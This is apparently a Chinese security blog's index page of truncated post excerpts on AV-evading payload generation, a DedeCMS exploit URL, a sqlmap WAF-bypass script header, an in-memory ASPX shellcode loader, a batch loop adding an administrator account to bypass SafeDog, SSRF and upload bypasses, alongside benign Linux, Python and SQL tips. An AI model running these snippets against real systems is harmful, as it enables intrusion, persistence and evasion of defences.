anything的博客

摘要： 作者:RedFree本文转自乌云Veil对Payload的免杀已经做的很好了，最新的Veil有39个可用的Payload。但是有时候需要使用Windows来完成所有的渗透测试工作，Linux和Windows切换来切换去很不方便、让我的渣本安装个虚拟机更是浪费资源。因此，在Windows下生成免杀Pa... 阅读全文

摘要： 1)设置临时源 vi /etc/apt/sources.list #添加以下一行到文件最后 deb http：//http。us。debian。org/debian stable main 2)更新软件包列表并安装apt-spy apt-get update apt-get instal... 阅读全文

摘要： localhost/data/admin/ver.txt查看补丁member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][... 阅读全文

摘要： 可以过5.3版本 放出py#!/usr/bin/env python"""Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/)See the file 'doc/COPYING' for copying permission""... 阅读全文

摘要： 见土司有一帖子具体看下面连接https://www.t00ls.net/thread-26444-1-2.html这是php的其实IIS也有类似的 这是MSF生成的一个ASPX执行shellcode的代码 执行后即使删掉文件 程序依然还在内存里 而且是以提供web服务的程序权限执行的7kb.org ... 阅读全文

摘要： 1.循环加组复现for/l%%iin(1,1,1000)do@netuseradminadmin/add&@netlocalgroupadministratorsadmin/add这曾经是安全狗最早爆出的安全狗漏洞但是安全狗很快的在之后的版本修复了上月某非盈利安全研究小组研究人员发现其实安全狗只是阻... 阅读全文

摘要： 我们经常通过python做采集网页数据的时候，会碰到一些乱码问题，今天给大家分享一个解决网页乱码，尤其是中文网页的通用方法。首页我们需要安装chardet模块，这个可以通过easy_install 或者pip来安装。安装完以后我们在控制台上导入模块，如果正常就可以。比如我们遇到的一些ISO-8859... 阅读全文

摘要： 本文转自：https://sobug.com/article/detail/11SSRF概述SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为... 阅读全文

摘要： 如何高效查询表的总记录数?[总结-整理-马克]首先想到的自然是在表主键上应用COUNT函数来查询了,这个是目前使用最多的方法,没有之一SELECT COUNT(1) ROWS FROM product这里再给出一些其它方法,这些方法或多或少会有一些限制,或者看起来不是那么"完美",但依然有一定的借鉴... 阅读全文

摘要： 转自独自等待博客早上逛乌云发现了PKAV大牛的一篇文章，针对php和windows文件上传的分析，思路很YD，果断转之与大家分享。虽然此文可能有许多的限制条件，但是如果你认真阅读会发现，其实还是比较实用的。另外一篇团长发的pdf中也涉及到了相关的文章，是国外的nosec发布的，英文的，感兴趣的同学在... 阅读全文